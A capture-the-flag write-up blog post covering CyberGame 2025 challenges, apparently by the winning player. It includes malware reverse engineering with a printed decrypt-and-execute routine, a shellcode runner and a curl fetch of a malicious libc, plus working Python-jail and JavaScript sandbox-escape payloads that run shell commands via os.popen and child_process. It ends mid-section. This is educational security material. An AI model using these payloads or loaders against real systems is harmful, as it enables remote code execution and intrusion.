Post

Cybergame 2025 Writeups

I took 1st place πŸ₯‡ in CyberGame 2025, solving 71 out of 73 challenges and claiming 52 First bloods 🩸 along the way. image

The game featured a wide variety of categories, including:

  • Web Exploitation & Binary Exploitation

  • Forensics

  • OSINT (Open Source Intelligence)

  • Cryptography

  • Malware Analysis & Reverse Engineering

  • Process and Governance

  • PyJails _(as part of the JAILE series)

Here are writeups for a few of the challenges I found particularly interesting.

[β˜…β˜…β˜†] The Chronicles of Greg

SystemUpdate incident report

Description

Greg didn’t ask for this. Greg wanted a quiet Friday, maybe a donut, and ideally no malware. But no. Instead, Greg found logs weird logs. And when Greg sees weird logs, Greg investigates. This is Greg’s story.

############

Analyst Log – 09:14 AM: β€œThey called it a β€˜low-priority anomaly.’ Said it was probably nothing. That’s what they always
say before things explode”. I ran strings on the file didn’t like what I saw. Not an update. Not even ransomware. Just…
vibes. Binary vibes. They’ve named it internally β€˜SystemUpdate.’ I don’t know why. No update was done. I’m not even sure
if this is about system update anymore.

############

Solution

While reverse engineering the system_update binary, I focused on a suspicious subroutine sub_20C0. It stood out due to a sequence of unusual operations applied to a hardcoded array of bytes, suggesting some form of custom encoding or obfuscation logic.

Upon further inspection, I recognized a pattern of reversible transformations involving XORs, subtractions, and negations all acting on a 24-byte sequence. To decode this, I wrote a Python script to emulate the logic statically. The script essentially reverses three types of encoding operations: chr = (key - (encoded_byte ^ 0x5C)) & 0xFF , chr = (- (encoded_byte ^ 0x5C)) & 0xFF and chr = (encoded_byte ^ key) & 0xFF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def solve():
    target = [int(x, 16) for x in "F9 FF 8F E0 EA C6 FE 2A CC 9D E6 9A 92 D3 C4 CB 20 E1 DF D7 95 E0 CC 2F".split()]
    ops = [
        (1, 0xF8), (1, 0xEE), (2, None), (3, 0xA3), (1, 0xFB),
        (1, 0xEC), (1, 0xF6), (1, 0xF1), (1, 0xF7), (1, 0xF4),
        (1, 0xF1), (1, 0xFD), (3, 0xA3), (1, 0xFD), (3, 0xA3),
        (1, 0xF6), (1, 0xEC), (1, 0xF1), (1, 0xFC), (1, 0xF7),
        (1, 0xF9), (1, 0xF0), (1, 0xF4), (1, 0xF0)
    ]

    flag = []
    for i in range(24):
        op, k = ops[i]
        t = target[i]
        if op == 1:
            c = (k - (t ^ 0x5C)) & 0xFF
        elif op == 2:
            c = (- (t ^ 0x5C)) & 0xFF
        elif op == 3:
            c = (t ^ k) & 0xFF
        flag.append(chr(c))

    s = ''.join(flag)
    print(s)

    # verify
    check = []
    for i in range(24):
        op, k = ops[i]
        c = ord(s[i])
        if op == 1:
            o = ((k - c) & 0xFF) ^ 0x5C
        elif op == 2:
            o = ((-c) & 0xFF) ^ 0x5C
        elif op == 3:
            o = c ^ k
        check.append(o & 0xFF)

    if check == target:
        print("ok")
    else:
        print("fail")

if __name__ == "__main__":
    solve()

1
SK-CERT{g3771ng_p4yl04d}

The Blob Whisperer

Description

Analyst Log – 12:47 PM: The blob showed up after SystemUpdate did its thing. Just a data. No extension. No metadata. No readme. No hope. The problem? There. Is. No. Key. I’ve tried dictionary attacks, rainbow tables, entropy analysis, even feeding it to a very confused intern. Nothing… At one point, I shouted my Wi-Fi password at the screen out of raw frustration. Didn’t help, but I felt better for two seconds. I thought I saw a familiar pattern in the entropy graph. Turns out it was just a coffee stain on my monitor. This isn’t just encryption. This is a test of character. And Greg? Greg is not winning.

Solution

When analyzing the system_update binary, I discovered that running it with a parameter causes it to connect to a remote server and transmit that input. If the provided value is incorrect, the server responds with a generic command like COMMAND: apt update.

To uncover the remote endpoint, I first ran strings on the binary, which revealed an embedded IP address. To confirm this and identify the port being used, I used strace, which clearly showed the binary establishing a connection to that address and port during execution.

1
connect(3, {sa_family=AF_INET, sin_port=htons(7052), sin_addr=inet_addr("195.168.112.4")}, 16) = 0

If the value is the flag SK-CERT{g3771ng_p4yl04d} we got in the first part then it responds by sending an encrypted payload image

Function sub_1D20 does the decryption of the payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
__int64 __fastcall sub_1D20(__int64 a1, unsigned int a2)
{
  __int64 v2; // r14
  unsigned int v3; // eax
  __int64 v4; // r14
  __int64 v5; // rax
  int v6; // ebx
  int v7; // ebx
  void *v8; // rax
  void (*v9)(void); // rax
  int v11; // [rsp+Ch] [rbp-105Ch] BYREF
  _BYTE v12[16]; // [rsp+10h] [rbp-1058h] BYREF
  _BYTE v13[16]; // [rsp+20h] [rbp-1048h] BYREF
  _BYTE src[4152]; // [rsp+30h] [rbp-1038h] BYREF

  v2 = 0;
  v3 = sub_1C30("/lib/x86_64-linux-gnu/libc.so.6");
  srand(v3);
  do
  {
    v12[v2] = rand() % 256;
    v13[v2++] = rand() % 256;
  }
  while ( v2 != 16 );
  v4 = EVP_CIPHER_CTX_new();
  v5 = EVP_aes_128_cbc();
  EVP_DecryptInit_ex(v4, v5, 0, v12, v13);
  EVP_DecryptUpdate(v4, src, &v11, a1, a2);
  v6 = v11;
  if ( (int)EVP_DecryptFinal_ex(v4, &src[v11], &v11) <= 0 )
  {
    EVP_CIPHER_CTX_free(v4);
  }
  else
  {
    v7 = v11 + v6;
    EVP_CIPHER_CTX_free(v4);
    if ( v7 >= 0 )
    {
      src[v7] = 0;
      v8 = mmap(0, (int)a2, 7, 34, -1, 0);
      if ( v8 != (void *)-1LL )
      {
        v9 = (void (*)(void))memcpy(v8, src, v7);
        v9();
        return 0;
      }
      perror("mmap");
    }
  }
  return 1;
}

The key used for encryption in the system_update binary is generated using rand(), which is seeded via srand() with a value derived from the major and minor version of the current libc.

During analysis, I noticed that the first 5 bytes of the payload are discarded before encryption. After removing these bytes from the captured payload, I brute-forced potential seeds using a small C script that simulated the encryption process based on different libc versions. This led me to discover that version 2.38 was the correct one used to seed the random number generator.

To retrieve the payload, I saved the encrypted data using:

1
echo "SK-CERT{g3771ng_p4yl04d}" | nc 195.168.112.4 7052  > payload.bin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/evp.h>
#include <openssl/aes.h>

unsigned int gen_seed(unsigned int major, unsigned int minor) {
    unsigned int val = (major << 16) | (minor << 8) | (major ^ minor);
    val = (val ^ (val >> 13)) * 0x5bd1e995;
    return val ^ (val >> 15);
}

int decrypt(const char* in_file, const char* out_file, unsigned int seed) {
    FILE* f = fopen(in_file, "rb");
    if (!f) return -1;

    fseek(f, 0, SEEK_END);
    long len = ftell(f);
    fseek(f, 0, SEEK_SET);

    unsigned char* enc = malloc(len);
    fread(enc, 1, len, f);
    fclose(f);

    unsigned char key[16], iv[16];
    srand(seed);
    for (int i = 0; i < 16; i++) {
        key[i] = rand() & 0xFF;
        iv[i] = rand() & 0xFF;
    }

    unsigned char* dec = malloc(len + AES_BLOCK_SIZE);
    int l, dec_len;

    EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
    EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
    EVP_DecryptUpdate(ctx, dec, &l, enc, len);
    dec_len = l;

    if (EVP_DecryptFinal_ex(ctx, dec + l, &l) > 0) {
        dec_len += l;
        FILE* out = fopen(out_file, "wb");
        if (out) {
            fwrite(dec, 1, dec_len, out);
            fclose(out);
            printf("[+] %s ok\n", out_file);
        }
    } else {
        printf("[-] %s fail\n", out_file);
    }

    EVP_CIPHER_CTX_free(ctx);
    free(enc);
    free(dec);
    return 0;
}

int main() {
    const char* infile = "payload.bin";
    char outfile[256];

    for (unsigned int major = 2; major <= 2; major++) {
        for (unsigned int minor = 21; minor <= 41; minor++) {
            unsigned int seed = gen_seed(major, minor);
            snprintf(outfile, sizeof(outfile), "%u.%u_deciphered.bin", major, minor);
            decrypt(infile, outfile, seed);
        }
    }

    return 0;
}

After decrypting the payload and inspecting it with xxd, I noticed interesting strings like /tmp/s and /bin/s, suggesting that the payload was actually shellcode. To confirm this, I mapped the decrypted payload into memory and executed it. Upon running the shellcode, I observed that it dropped a file into the /tmp directory.

image


Code to map the decrypted payload into memory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

int main() {
    FILE *f = fopen("2.38_deciphered.bin", "rb");
    if (!f) { perror("open"); return 1; }

    fseek(f, 0, SEEK_END);
    long sz = ftell(f);
    rewind(f);

    char *buf = malloc(sz);
    if (!buf) { perror("malloc"); fclose(f); return 1; }

    if (fread(buf, 1, sz, f) != sz) {
        perror("read");
        free(buf);
        fclose(f);
        return 1;
    }
    fclose(f);

    void *mem = mmap(0, sz, PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        free(buf);
        return 1;
    }

    memcpy(mem, buf, sz);
    free(buf);

    printf(">> running shellcode...\n");
    ((void(*)())mem)();

    munmap(mem, sz);
    return 0;
}

A quick check confirmed that the contents were successfully written into the /tmp directory. image

1
curl http://files.cybergame.sk/systemupdate-2b174d89-564b-4024-acb6-b195f4c81a3c/lib.so#SK-CERT{b1n_p4yl04d_d035_n07_s33m5_l1k3_c0mm4nd5} > /lib_safe/x86_64-linux-gnu/libc.so.6                                                            
1
SK-CERT{b1n_p4yl04d_d035_n07_s33m5_l1k3_c0mm4nd5}

The Shared Object Prophecy

Description

Analyst Log – 17:23 PM: I followed the execution trail. It ended in the most cursed way imaginable: custom libc Who writes their own libc? What kind of monster wakes up and chooses that? Greg is tired. Greg is afraid. Greg wants his weekend back.

Solution

After retrieving the libc.so file from the previous part of the challenge, the description made it clear this was no ordinary standard library. It was custom and likely hiding something.

I spent hours going in circles, completely lost in its disassembly. I tried diffing it against the original libc, hoping for any meaningful differences. I scanned through dozens of standard functions, chasing false leads.

Eventually, while combing through some of the more commonly hooked libc functions, I landed on _GI___libc_write. That’s where things clicked. The function had extra instructions and patterns that resembled encryption logic.

I wrote a script to reverse the transformations applied in that function and it paid off.

Sometimes, the best hiding place is right where you expect things to be β€œnormal.”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
def s1(buf):
    if len(buf) != 29:
        raise ValueError("s1: bad len")
    out = bytearray(29)

    for i in range(29):
        x = buf[i] ^ i
        x = ~x & 0xFF
        x = (x - i) & 0xFF
        x = (x ^ i) & 0xFF
        x = (x + i) & 0xFF
        x = ((x << 3) | (x >> 5)) & 0xFF

        x = (-((x + i) & 0xFF) ^ i) & 0xFF
        x = (x - i) & 0xFF
        x = (x ^ i) & 0xFF

        t = ((x - 0x7F) ^ 0x74) & 0xFF
        out[i] = (i - t) & 0xFF

    return out

def s2(buf):
    if len(buf) != 14:
        raise ValueError("s2: bad len")
    out = bytearray(14)

    for i in range(14):
        x = buf[i]
        x = (x + i) & 0xFF
        x = (x ^ i) & 0xFF
        x = (x + 99) & 0xFF
        x = (x ^ i) & 0xFF
        x = (x + 0x78) & 0xFF
        x = (x ^ 0x7F) & 0xFF
        x = (x + i) & 0xFF
        x = (-x) & 0xFF
        x = (x ^ 0xE0) & 0xFF
        x = ((x << 1) | (x >> 7)) & 0xFF

        term1 = (x ^ i) & 0xFF
        term2 = (0x2C - i) & 0xFF
        out[i] = (term1 + term2) & 0xFF

    return out

def main():
    s = bytes([
        0xea, 0x06, 0xe0, 0x44, 0x23, 0x20, 0x96, 0xcc,
        0x1e, 0xae, 0x64, 0xe3, 0x00, 0x09, 0xeb, 0x27,
        0xd5, 0xd7, 0xac, 0x81, 0xea, 0xd5, 0x5e, 0xdf,
        0x5a, 0xae, 0x2c, 0x14, 0xfc
    ])

    s2_buf = bytes([
        0x06, 0x09, 0x0c, 0x85, 0x12, 0x8f, 0x82, 0x81,
        0x16, 0x15, 0x91, 0x85, 0x90, 0x3c
    ])

    t1 = s1(s)
    print("s1:", t1.hex())
    try:
        print("s1_ascii:", t1.decode(errors='replace'))
    except Exception as e:
        print("s1 decode error:", e)

    print("-" * 30)

    t2 = s2(s2_buf)
    print("s2:", t2.hex())
    try:
        s2_ascii = t2.split(b'\x00', 1)[0].decode(errors='replace')
        print("s2_ascii:", s2_ascii)
    except Exception as e:
        print("s2 decode error:", e)

if __name__ == "__main__":
    main()

image

1
SK-CERT{br1n6_y0ur_0wn_l1bc}

JAILE2

Calculator v2

Description

A new version of The Calculator came out! Can you check if it’s secure? exp.cybergame.sk:7011

Challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import math


def handle_client():
    print(
        "Welcome to the Calculator v2!\nWith improved security so you can have access to all the fun math stuff and the bad guys cannot do the bad stuff! Enjoy :D"
    )

    # We added this to prevent the user from calling dangerous functions
    safe_globals = {
        "__builtins__": {
            "sin": math.sin,
            "cos": math.cos,
            "tan": math.tan,
            "asin": math.asin,
            "acos": math.acos,
            "atan": math.atan,
            "sqrt": math.sqrt,
            "pow": math.pow,
            "abs": abs,
            "round": round,
            "min": min,
            "max": max,
            "sum": sum,
        }
    }

    text = ""
    while text != "exit":
        text = input(">>> ")
        # In all ctf writeups they use _ or its unicode equivalent to somehow escape the jail. No _ means no fun for them
        for character in ["_", "οΌΏ"]:
            if character in text.lower():
                print("Not allowed, killing\n")
                text = "lol"
        try:
            print(eval(text, safe_globals))
        except Exception as e:
            print("Error: " + str(e) + "\n")


def main():
    handle_client()


if __name__ == "__main__":
    main()

Solution

The challenge was basically a Python sandbox, but with a twist. It uses eval() to evaluate user input, but it wraps it in a restricted safe_globals dict that only exposes a few safe functions mostly math stuff like sin, cos, sqrt, abs, round, and so on. No access to eval, exec, open, or even __builtins__ directly.

But the real kicker is this it blocks any use of the underscore character (_) even the full-width Unicode one (οΌΏ). And if you’ve done any Python sandbox stuff before, you know that’s brutal. All the classic tricks rely on double underscores: __class__, __subclasses__, __globals__, etc. So with _ banned, all the usual escape routes are cut off.

So whatever payload you’re building has to work without typing _ at all. That’s what makes this challenge spicy you have to find clever ways to build those dunders without ever writing them directly.

Dealing with _ Restrictions via Unicode Normalization

One of the main restrictions in this challenge is that you cannot use the underscore character (_) directly nor its full-width Unicode equivalent (οΌΏ). This is enforced by checking the user input string and terminating if any variant appears. However, Python internally normalizes many Unicode characters under the hood, and we can take advantage of this using NFKC normalization

To find all Unicode characters that normalize to _ I ran this simple script:

1
2
3
4
5
6
import unicodedata

for x in range(65537):
    if unicodedata.normalize("NFKC", chr(x)) == "_":
        print(x, chr(x))

This helps identify characters that look different but will be interpreted as _ internally by Python once normalized.


Frame Walking Without _

With _ completely off the table, I needed a way to access powerful objects like __import__, but without writing any underscores at all.

The trick was to use generator introspection to access Python’s internal frames. From there, you can walk up the call stack and eventually reach the built-in namespace. Here’s the payload I crafted:

1
2
3
[y := [], 
 y.extend([(x.giοΈ΄frame.fοΈ΄back.fοΈ΄back for x in y)]), 
 [x for x in y[0]][0].fοΈ΄builtins['\x5f\x5fimport\x5f\x5f']('os').popen('cat /flag*').read()]

A breakdown:

  • y := [] initializes an empty list

  • I use a generator expression to capture frames: x.giοΈ΄frame.fοΈ΄back.fοΈ΄back

  • The character οΈ΄ (U+FE34) is not technically an underscore, but under Unicode normalization (NFKC), Python interprets it as one.

  • Then I access fοΈ΄builtins and use a hex escape: '\x5f\x5fimport\x5f\x5f' to call __import__ without triggering the input filter.

  • The rest is a standard file read using os.popen.

This works because the generator’s gi_frame gives you access to the current frame object, and walking f_back lets you move up the stack. Once you reach the top, you can access the global __builtins__ object and import anything you want

1
SK-CERT{wh0_w0uld_h4v3_th0ght_y0u_c4n_3sc4pe_w1th0ut__}

Tasty Bun

Description

The Tasty Bun bakery asked us for a pentest. Can you find a vulnerability in their baking software?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env bun

const net = require("net");

const bake = async (ingredients) => {
  return await eval(ingredients);
};

const hasValidIngredients = (recipe) => {
  const FORBIDDEN_INGREDIENTS = /[()\/\[\];"'_!]/;
  if (FORBIDDEN_INGREDIENTS.test(recipe)) {
    console.error("πŸ₯– These ingredients will spoil our bun!");
    return false;
  }
  const flavors = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  const tasteProfile = [];
  for (let i = 0; i < recipe.length; i++) {
    const ingredient = recipe[i];
    if (flavors.includes(ingredient) && !tasteProfile.includes(ingredient)) {
      tasteProfile.push(ingredient);
    }
  }
  if (tasteProfile.length > 2) {
    console.error(
      "🍞 Too many flavors will ruin the bun! Found " + tasteProfile.length
    );
    return false;
  }
  return true;
};

const bakery = net.createServer((customer) => {
  console.log("πŸ₯ A hungry customer has arrived at the bakery!");
  customer.write("tasty-bun> ");

  customer.on("data", async (order) => {
    try {
      const recipe = order.toString().trim();

      if (recipe === "exit") {
        customer.write("πŸ₯― Thank you for visiting our bakery! Goodbye!\n");
        customer.end();
        return;
      }

      if (!hasValidIngredients(recipe)) {
        customer.write("🍩 Sorry, we can't bake with these ingredients!\n");
        customer.write("tasty-bun> ");
        return;
      }

      const bakedBun = await bake(recipe);
      customer.write(bakedBun + "\n");
    } catch (e) {
      console.error("Error during baking:", e);
      customer.write("πŸ₯ž Oops! The bun fell flat: " + e.toString() + "\n");
    }

    customer.write("tasty-bun> ");
  });

  customer.on("error", (err) => {
    console.error("Socket error:", err);
    customer.write("πŸ₯― A socket error occurred, but we're still open!\n");
    customer.write("tasty-bun> ");
  });

  customer.on("end", () => {
    console.log("πŸ₯¨ A customer has left our bakery");
  });
});

process.on("unhandledRejection", (reason, promise) => {
  console.error("Unhandled Rejection at:", promise, "reason:", reason);
});

process.on("uncaughtException", (err) => {
  console.error("Unhandled exception caught:", err);
});

const displayBakeryBanner = () => {
  console.log(`
  🍞πŸ₯πŸ₯–πŸ₯―🍩πŸ₯¨ "The Tasty Bun" Bakery πŸ₯¨πŸ©πŸ₯―πŸ₯–πŸ₯πŸž
  Welcome to our special bun shop!
  We are very particular about our ingredients...
  `);
};

displayBakeryBanner();
bakery.listen(2337, () => {
  console.log("🍞 Bakery now open on port 2337! Come get your tasty buns!");
});

Solution

At first glance, this challenge seems like a simple JavaScript sandbox running on the Bun runtime. But very quickly, the core limitation becomes clear:

You’re only allowed to use 2 unique letters per line.

That means any line you send to the server must contain at most two different alphabetical characters. You can repeat them as much as you want, but a third unique letter will instantly get your input rejected.

On top of that, several critical characters are completely banned:
() / [ ] ; " ' _ !

These restrictions stop you from doing just about everything you’d normally try in a JavaScript eval() challenge:

  • ❌ () β€” No function calls. You can’t invoke anything directly.

  • ❌ [] β€” No arrays or property access by string key (e.g., obj["key"]).

  • ❌ ; β€” No statement separators.

  • ❌ ' or " β€” No strings at all.

  • ❌ / β€” No regular expressions, and also no division.

  • ❌ _ β€” No access to special objects like __proto__, __defineGetter__, or globalThis.

  • ❌ ! β€” No use of logical negation or tricks like ![].

Essentially, this removes most of the language features you’d typically abuse in a sandbox escape: you can’t use strings, arrays, object keys, or even call functions the usual way.

So the challenge becomes: How can we coerce or manipulate what’s left just numbers, operators, and two letters to eventually execute something useful?

Despite all the restrictions, the key weakness lies in how the server handles input: it uses eval() on the user’s input, but only after first checking if the input passes a regex match using test().

This is our entry point. If we can pollute the prototype of RegExp and replace the test method with eval, then the next time the server tries to check our input using regex, it will actually end up evaluating it as JavaScript code without any restrictions.

In JavaScript, prototype pollution lets you overwrite properties shared across all objects of a certain type. Here, we exploit that to overwrite RegExp.prototype.test.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import re

FLAG_RE = re.compile(r"flag.+\.txt")

def e(s):
    r = ""
    for x in s:
        r += "\\u00" + hex(ord(x))[2:].zfill(2)
    return r


# r = remote("localhost", 2337)
r = remote("exp.cybergame.sk",7012)

encoded_regexp = e("RegExp")
encoded_proto = e("__proto__")
encoded_test = e("test")
encoded_eval = e("eval")

get_flag_file_payload = """
res = process.mainModule.require("child_process").spawnSync("ls", [".."]).stdout.toString();throw new Error(res);
""".strip()



r.sendlineafter(b"> ", f"$={encoded_regexp}``".encode())
r.sendlineafter(b"> ", f"$$={encoded_eval}".encode())
r.sendlineafter(b"> ", f"$.{encoded_proto}.{encoded_test}=$$")

r.sendlineafter(b"> ", get_flag_file_payload)

r.recvuntil(b"Error: ")

files = r.recvuntil(b"tasty-bun", True).decode()

flag_path = FLAG_RE.search(files).group(0)

print_flag_file_payload = f"""
res = process.mainModule.require("child_process").spawnSync("cat", ["../{flag_path}"]).stdout.toString();throw new Error(res);
"""

r.sendline(print_flag_file_payload)
print(r.recvuntil(b"tasty-bun").decode())

r.interactive()
1
SK-CERT{\u0074\u0068\u0069\u0073\u0020\u0069\u0073\u0020\u0066\u0075\u006E}

dictFS

Description

The admin of this application supposedly implemented a backdoor. Can you find it?

Recover the root password

After poking around the file system for a while and exploring different objects exposed through directory traversal, I discovered a path that led straight into the internals of the Python runtime.

By navigating through /mnt, I found what appeared to be a dictionary like object that gave access to a chain of attributes and internal references. Following this path:

1
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__

I eventually landed on the __code__ object of the DirShell class’s __init__ method a goldmine in terms of introspection.

From there, I dumped the constant pool of the bytecode using:

1
2
3
4
5
cat co_consts
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__$> cat co_consts
(None, 'β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘      β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘  β–‘β–’β–“β–ˆβ–“β–’β–‘      β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘ \nβ–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ β–‘β–’β–“β–ˆβ–“β–’β–‘   β–‘β–’β–“β–ˆβ–“β–’β–‘     β–‘β–’β–“β–ˆβ–“β–’β–‘             β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘      β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ \nβ–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘        β–‘β–’β–“β–ˆβ–“β–’β–‘   β–‘β–’β–“β–ˆβ–“β–’β–‘     β–‘β–’β–“β–ˆβ–“β–’β–‘              β–‘β–’β–“β–ˆβ–“β–’β–’β–“β–ˆβ–“β–’β–‘   β–‘β–’β–“β–ˆβ–“β–’β–‘      β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ \nβ–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘        β–‘β–’β–“β–ˆβ–“β–’β–‘   β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘ β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘        β–‘β–’β–“β–ˆβ–“β–’β–’β–“β–ˆβ–“β–’β–‘   β–‘β–’β–“β–ˆβ–“β–’β–‘      β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ \nβ–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘        β–‘β–’β–“β–ˆβ–“β–’β–‘   β–‘β–’β–“β–ˆβ–“β–’β–‘            β–‘β–’β–“β–ˆβ–“β–’β–‘        β–‘β–’β–“β–ˆβ–“β–“β–ˆβ–“β–’β–‘    β–‘β–’β–“β–ˆβ–“β–’β–‘      β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ \nβ–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ β–‘β–’β–“β–ˆβ–“β–’β–‘   β–‘β–’β–“β–ˆβ–“β–’β–‘            β–‘β–’β–“β–ˆβ–“β–’β–‘        β–‘β–’β–“β–ˆβ–“β–“β–ˆβ–“β–’β–‘    β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–ˆβ–“β–’β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘ \nβ–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–“β–’β–‘β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘  β–‘β–’β–“β–ˆβ–“β–’β–‘   β–‘β–’β–“β–ˆβ–“β–’β–‘     β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘          β–‘β–’β–“β–ˆβ–ˆβ–“β–’β–‘     β–‘β–’β–“β–ˆβ–“β–’β–‘β–’β–“β–ˆβ–ˆβ–“β–’β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘ \n                                                                                                                        \n                                                                                                                        ', 'Welcome to our completely custom filesystem! you can use the following commands in our in-house built DirShellβ„’:', 'ls - list files and directories', 'cd <dir> - change directory', 'cat <file> - print file contents', 'pwd - print current directory', 'touch <file> - create/rewrite a file (root only) - if the filename starts with @ it is read-only [beta]', 'mkdir <dir> - create a directory (root only) [beta]', 'rewrite <file> - rewrite a file with hex characters (root only) - bypasses read-only @ prefix. USE WITH CAUTION [beta]', 'su - switch to root user (secret password required)', 'exit - exit the shell', '\n\n', 'The filesystem is read-only for non-root users but we are experimenting with write capabilities in our current beta version', 'mnt.json', 'r', 'I am a test content of a.txt', 'HELLO WORLD', 'Lorem ipsum dolor sit amet', 'aa.txt', 'aaaaaaaa', ('a.txt', 'b.txt', 'c.txt', 'x', 'mnt', 'z'), False, '__YouAreNever$$84982198481nGonnaGu((*8essThiSS_!*&^')
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/__init__/__code__

1
__YouAreNever$$84982198481nGonnaGu((*8essThiSS_!*&^

Gaining Root Shell via Bytecode Injection

After successfully retrieving the root password by navigating deep into Python’s object model (as explained earlier), I gained access to the su command. This unlocked the ability to rewrite methods within the application a powerful privilege.

The plan was to hijack the touch command, whose implementation lives in:

1
/mnt/a/__init__/__globals__/__builtins__/help/__class__/__call__/__globals__/sys/modules/__main__/DirShell/touch/__code__`

Python Bytecode Injection

The key to the exploit was rewriting the co_code of the touch method with custom Python bytecode, allowing us to hijack its behavior.

My payload built a new co_code byte sequence that:

  1. Loaded the __builtins__ dict using a crafted LOAD_FAST offset.

  2. Accessed __builtins__["exec"].

  3. Executed exec(input(...)) to get full code execution.

However, since the locals layout was unknown, and LOAD_FAST uses an index, I had to brute-force the right index (x) to find the one pointing to __builtins__.

Here’s a snippet from the brute-force harness:

1
